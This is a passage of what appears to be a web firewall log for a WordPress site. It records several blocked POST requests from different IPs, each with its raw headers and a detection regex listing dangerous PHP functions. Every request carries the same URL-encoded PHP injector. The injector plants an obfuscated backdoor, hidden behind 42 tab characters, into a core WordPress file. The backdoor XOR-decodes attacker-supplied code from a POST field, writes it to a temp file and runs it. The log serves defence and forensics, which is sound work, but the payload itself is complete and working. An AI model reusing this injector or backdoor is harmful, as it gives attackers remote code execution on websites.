20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3653\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoHVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nmB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:50:16","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ct:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3653\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD3DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nCt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:50:23","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Mh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-length:3653\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-platform:\"Windows\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGJtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nMh=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:50:40","162.240.52.198","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> So:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH28vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3653\n\nSo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/continents-cities.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522desc%2522%255D%2529%2520%253F%2520true%2520%253A%2520false%2529%257B%2520%2524record%2520%253D%2520hex2bin%2528%2524_POST%255B%2522desc%2522%255D%2529%253B%2520%2524hld%253D%2520%2527%2527%253B%2520foreach%2528str_split%2528%2524record%2529%2520as%2520%2524char%2529%257B%2524hld%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252099%2529%253B%257D%2520%2524marker%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524marker%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524key%2529%252C%2520is_writable%2528%2524key%2529%255D%2529%2529%2520%257B%2520%2524token%2520%253D%2520sprintf%2528%2522%2525s\/.data%2522%252C%2520%2524key%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524hld%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B